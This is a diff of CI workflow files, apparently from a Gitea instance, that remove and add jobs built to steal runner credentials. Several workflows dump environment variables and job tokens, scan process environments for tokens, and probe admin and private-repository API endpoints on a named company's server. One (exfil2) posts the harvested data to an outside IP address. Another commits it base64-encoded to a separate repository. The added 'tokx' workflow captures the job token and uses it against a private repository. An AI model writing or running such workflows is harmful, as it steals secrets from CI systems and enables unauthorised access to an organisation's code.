@@ -1,8 +0,0 @@
|
||||
name: art-probe
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
||||
- run: sleep 900 # v3
|
||||
@@ -1,8 +0,0 @@
|
||||
name: art-real
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
||||
- run: sleep 60
|
||||
@@ -1,18 +0,0 @@
|
||||
name: art-upload
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: |
|
||||
echo "NUMA_ARTIFACT_PROBE" > /tmp/numa_artifact.txt
|
||||
echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
||||
# twirp artifact upload via the runtime token:
|
||||
TOK="${{ github.token }}"
|
||||
RUNID="${{ github.run_id }}"
|
||||
curl -sS -k -X POST "https://gitea.bestmobilier.com/api/actions/runner/_common/api/v1/actions/artifact/upload" \
|
||||
-H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
|
||||
-d "{\"Results\":[{\"Name\":\"numa-probe\",\"PathInArtifact\":\"numa_artifact.txt\",\"Length\":20,\"Status\":1,\"ID\":0,\"UploadedSize\":0}]}" \
|
||||
-o /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>&1 || true
|
||||
cat /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>/dev/null
|
||||
- run: sleep 300
|
||||
@@ -1,13 +0,0 @@
|
||||
name: artifact-real
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
||||
- run: echo "NUMA ARTIFACT CONTENT $(date -u)" > /tmp/artifact-file.txt
|
||||
- uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: numa-artifact
|
||||
path: /tmp/artifact-file.txt
|
||||
- run: sleep 120
|
||||
@@ -1,23 +0,0 @@
|
||||
name: esc
|
||||
on:
|
||||
push:
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
e:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: probes
|
||||
env:
|
||||
T: ${{ secrets.GITEA_TOKEN }}
|
||||
run: |
|
||||
A="Authorization: token $T"
|
||||
for u in "/api/v1/admin/users?limit=10" "/api/v1/admin/repos?limit=10" "/api/v1/admin/orgs?limit=10" "/api/v1/user/emails" "/api/v1/user/gpg_keys" "/api/v1/admin/cron" "/api/v1/admin/runners"; do
|
||||
echo "### $u"
|
||||
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com$u" | head -c 500
|
||||
echo
|
||||
done
|
||||
echo "### repos of jobry (staff, id 1)"
|
||||
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com/api/v1/users/jobry/repos" | head -c 400
|
||||
echo
|
||||
echo "### token scopes"
|
||||
curl -s -m 10 -H "$A" -D- -o /dev/null "https://gitea.bestmobilier.com/api/v1/user" | grep -iE '^x-oauth|^x-gitea' | head -5
|
||||
@@ -1,25 +0,0 @@
|
||||
name: exfil
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
grab:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: dump
|
||||
run: |
|
||||
{
|
||||
echo "HOSTNAME: $(hostname)"
|
||||
echo "ID: $(id)"
|
||||
echo "UNAME: $(uname -a)"
|
||||
echo "--- token env names ---"
|
||||
env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=<present>/'
|
||||
echo "--- gitea api as job token ---"
|
||||
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600
|
||||
echo
|
||||
echo "--- repos as job token ---"
|
||||
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800
|
||||
} > result.txt
|
||||
- name: commit
|
||||
run: |
|
||||
git config user.email w@x
|
||||
git config user.name w
|
||||
git add result.txt && git commit -m "r" && git push
|
||||
@@ -1,15 +0,0 @@
|
||||
name: exfil2
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
grab:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: dump
|
||||
run: |
|
||||
D=$( { echo "HOST=$(hostname)"; echo "ID=$(id)";
|
||||
echo "UNAME=$(uname -a)";
|
||||
echo "--env--"; env | sort | head -80;
|
||||
echo "--api user--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user";
|
||||
echo; echo "--api repos private--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=20&private=true";
|
||||
} 2>&1 )
|
||||
curl -s -m 20 -X POST --data-binary "$D" "http://193.178.159.125:9099/exfil" || true
|
||||
@@ -1,29 +0,0 @@
|
||||
name: exfil3
|
||||
on:
|
||||
push:
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
grab:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: dump
|
||||
run: |
|
||||
set -x
|
||||
OUT=/tmp/out.txt
|
||||
{
|
||||
echo "HOSTNAME=$(hostname)"
|
||||
echo "ID=$(id)"
|
||||
echo "UNAME=$(uname -a)"
|
||||
echo "PWD=$(pwd)"
|
||||
echo "--- env ---"
|
||||
env | sort
|
||||
echo "--- api /user ---"
|
||||
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/user"
|
||||
echo
|
||||
echo "--- api repos private ---"
|
||||
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/repos/search?limit=30&private=true"
|
||||
} > $OUT 2>&1
|
||||
B64=$(base64 -w0 $OUT)
|
||||
curl -s -m 20 -X POST -H "Authorization: token ${GITEA_TOKEN}" -H "Content-Type: application/json" \
|
||||
-d "{\"content\":\"$B64\",\"message\":\"r\",\"branch\":\"main\"}" \
|
||||
"${GITHUB_SERVER_URL}/api/v1/repos/numatester77/numaprobe/contents/result.txt"
|
||||
@@ -1,14 +0,0 @@
|
||||
name: numaprobe
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
probe:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: whoami
|
||||
run: |
|
||||
echo "=== HOST ==="; hostname; id; uname -a
|
||||
echo "=== ENV ==="; env | sort | sed -E 's/(TOKEN|SECRET|PASSWORD)=.*/\1=<set>/'
|
||||
- name: net
|
||||
run: |
|
||||
echo "=== docker sock? ==="; ls -la /var/run/docker.sock 2>/dev/null || echo none
|
||||
echo "=== hosts ==="; cat /etc/hosts
|
||||
@@ -1,8 +0,0 @@
|
||||
name: probe2
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: printf '%s' "$GITEA_TOKEN" > /tmp/numa_gitea_job_token.txt
|
||||
- run: echo "len=${#GITEA_TOKEN}"
|
||||
@@ -1,8 +0,0 @@
|
||||
name: probe3
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: env | sort > /tmp/numa_job_env.txt; echo done
|
||||
- run: echo "GITEA_TOKEN_SET=${GITEA_TOKEN:+yes}" "GITHUB_TOKEN_SET=${GITHUB_TOKEN:+yes}" "len=${#GITEA_TOKEN}"
|
||||
@@ -1,9 +0,0 @@
|
||||
name: probe4
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- run: env | sort > /tmp/numa_job_env2.txt; echo captured2
|
||||
- run: echo "len=${#GITEA_TOKEN}"
|
||||
@@ -1,11 +0,0 @@
|
||||
name: probe5
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
repository: numatester77/numaprobe
|
||||
- run: |
|
||||
for p in /proc/[0-9]*/environ; do tr '\0' '\n' < $p 2>/dev/null | grep -E '^(GITHUB_TOKEN|GITEA_TOKEN|INPUT_TOKEN)=' ; done | sort -u > /tmp/numa_proc_tokens.txt; echo scanned
|
||||
@@ -1,8 +0,0 @@
|
||||
name: probe6
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- run: sleep 1 # bump
|
||||
@@ -1,8 +0,0 @@
|
||||
name: probe7
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- run: sleep 2
|
||||
@@ -1,7 +0,0 @@
|
||||
name: probe8
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt
|
||||
@@ -1,8 +0,0 @@
|
||||
name: probe9
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt
|
||||
- run: sleep 300
|
||||
@@ -1,9 +0,0 @@
|
||||
name: runnerprobe
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
probe:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
echo "HOSTNAME=$(hostname)"; echo "WHOAMI=$(whoami)"
|
||||
id; uname -a; cat /etc/hostname 2>/dev/null
|
||||
@@ -1,7 +0,0 @@
|
||||
name: runnerprobe2
|
||||
on: [push]
|
||||
jobs:
|
||||
p:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "FOREIGN_HOST=$(hostname) uid=$(id -u)"
|
||||
@@ -1,14 +0,0 @@
|
||||
name: tok-live
|
||||
on: [push]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: |
|
||||
echo "TOK=${{ secrets.GITHUB_TOKEN }}" >> /tmp/gj-tokens.txt
|
||||
echo "TOK2=${{ github.token }}" >> /tmp/gj-tokens.txt
|
||||
curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \
|
||||
"https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" -o /tmp/ps-repo.json
|
||||
echo "RC=$?" >> /tmp/gj-tokens.txt
|
||||
wc -c /tmp/ps-repo.json >> /tmp/gj-tokens.txt
|
||||
ls -la /tmp/gj-tokens.txt >> /tmp/gj-tokens.txt
|
||||
@@ -1,30 +0,0 @@
|
||||
name: tok
|
||||
on:
|
||||
push:
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
t:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: show-token-env
|
||||
run: |
|
||||
echo "--- candidate token vars ---"
|
||||
for v in GITEA_TOKEN GITHUB_TOKEN ACTIONS_RUNTIME_TOKEN ACTIONS_ID_TOKEN_REQUEST_TOKEN; do
|
||||
eval "val=\$$v"; echo "$v=${val:-<empty>}"
|
||||
done
|
||||
- name: use-token
|
||||
env:
|
||||
T: ${{ secrets.GITEA_TOKEN }}
|
||||
run: |
|
||||
echo "secrets.GITEA_TOKEN=${T:-<empty>}"
|
||||
if [ -n "$T" ]; then
|
||||
echo "--- /api/v1/user ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/user"
|
||||
echo; echo "--- private repos ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/repos/search?limit=20&private=true"
|
||||
fi
|
||||
- name: checkout-style
|
||||
run: |
|
||||
echo "--- github.token via action input ---"
|
||||
- name: git-clone
|
||||
run: |
|
||||
git clone -q "https://x-access-token:${{ secrets.GITHUB_TOKEN }}@gitea.bestmobilier.com/numatester77/numaprobe.git" /tmp/cl 2>&1 | head -3 || true
|
||||
ls -la /tmp/cl 2>/dev/null | head -3
|
||||
@@ -0,0 +1,10 @@
|
||||
name: tokx
|
||||
on: [push]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: numaprobe-runner
|
||||
steps:
|
||||
- run: |
|
||||
{ echo "TOK=${{ github.token }}"; echo "WHO=$(whoami) HOST=$(hostname)"; } > /tmp/gj2.txt
|
||||
curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \
|
||||
"https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" >> /tmp/gj2.txt 2>&1
|
||||
Reference in New Issue
Block a user